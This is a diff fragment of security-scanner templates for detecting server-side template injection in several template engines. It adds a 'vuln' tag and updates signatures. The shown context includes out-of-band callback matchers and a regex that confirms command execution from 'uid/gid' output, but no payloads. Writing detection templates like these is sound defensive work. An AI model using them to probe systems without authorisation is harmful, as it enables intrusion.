           - "contains(to_lower(interactsh_request), to_lower(prefix))"
         condition: and
-# digest: 4b0a00483046022100cadd085bedcc3eec5c265e4ea1e6c5841d295fcb2a1ea9579d820fd65d7ba76c02210083ea8ab271591441bda5e2be002ac93aa2401588137a13b16dede01998dde774:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012c929da780d21185b177dd5e1717c366c2a688b271f19d23aeca721075a5cb6022100f3cfe854cbb64d10a90efdcc23eec9cabb573d6e7ab600ca50620784b2ecf3ec:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/ejs-underscore-oob.yaml

@@ -10,7 +10,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 variables:
   prefix: "{{rand_text_alpha(5)}}"
@@ -39,4 +39,4 @@ http:
           - "contains(interactsh_protocol,'http')"
           - "contains(to_lower(interactsh_request), to_lower(prefix))"
         condition: and
-# digest: 490a004630440220131ae926976d315a83115b59fbad83092ae0fd0b59d32306a7d225549889b10002201d1c77ab6dc971aa4bf14f712b268a9dfd3e63ebdbd19924350c795f022243a2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a775f3363de455c0b45e75fa98cb5999f4351b2120128297e47b448e1238af2202202a6eebf4e6407cbea04c85ccafe8da054a3a6bc10b54de2644442111b3653ed4:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/erb-erubi-erubis-oob.yaml

@@ -10,7 +10,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -36,4 +36,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4b0a00483046022100d44112e878992334eff0e56d4b681cad181cd69eaa33f85809d784cc3ee25c91022100d86622b20f85ffa938c2954e23f4448a916656cae030e00718ac30c7275d4c1d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220339e6129262efd8b705181d9c5b9da8b6ac52e70c0b3815bf3f1672bfcff4d07022100be49c15c59d1241bdb873f973f0cebea10b3f7049327cdb3c051c99f2b8034ad:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/freemarker-oob.yaml

@@ -10,7 +10,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---code-execution
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -41,4 +41,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4a0a00473045022100bf5ddb2ad93a12743f4f04d7abf3504933707f1f4c446750c8bd834f89cef8a102207631bfbd20ac97603455277c01135a025f9b58b58ff91bb092d6e85f05513771:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202b533c2fc497cb5f4aea5ee153daddc845b4842f7d720cce22180dbed1d863930221009f66d4268153e923175756d1f615947f9da0febc97d2d1ebfdba84b6d3644866:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/groovy-oob.yaml

@@ -12,7 +12,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#groovy---command-execution
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob,groovy
+  tags: ssti,dast,oast,oob,groovy,vuln
 
 http:
   - pre-condition:
@@ -43,4 +43,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 490a0046304402205ead8b6ab5843cf8f9dacbf9c9b30903379407d101cf23f135ee3412487d306e0220265dec49712207006d6488a7c29aa571781985047f146485cb74bd889382f80a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022010b5e98da5cf7fe997be5d2ff2c4ad39b4037db9e3bcb6f50ee46cf83a2b66ea022100f8ecec2f82d7be36f4d593c9fef154ba66463d6024353dc1e2ec6f4b25741e92:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/jinja2-oob.yaml

@@ -9,7 +9,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -38,4 +38,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4a0a004730450221008c4cd90980e559b7c0b2b3a73939e66625742350067a2a8e68a17b31cf2cd8b5022030d5d2daaa6519dc175b1aee53e418689cb92d23931cfaa634ea939080f4d124:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e4455c7a4339740d674b6f59246f0a36069d2d3609cf3ee0ee4b4cc32a714c1402207190c306e14b6418adbaa991defce48c765a58b66d4cf0ace79524bb647006f5:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/jinjava-oob.yaml

@@ -10,7 +10,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#jinjava---command-execution
   metadata:
     max-request: 1
-  tags: ssti,dast,jinjava
+  tags: ssti,dast,jinjava,vuln
 
 http:
   - pre-condition:
@@ -44,4 +44,4 @@ http:
         part: body
         regex:
           - "uid=[0-9]+.*gid=[0-9]+.*"
-# digest: 490a00463044022009e471af7219a7639a467c4bc520db6ab774746b4dc0aefc0182930ce12940a3022077b368e377321ba8b805aa19bdf3debc133f0ff5a504c41968784872719209dc:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009c381e116f28ee22c1e36d743bcea2a5c87ca61561bdcc5c58b08f2596415f75022100f37d547dad67076dedd9fa6f2506d6e7f02cb0bbd690c98690f8bca9988764ef:922c64590222798bb761d5b6d8e72950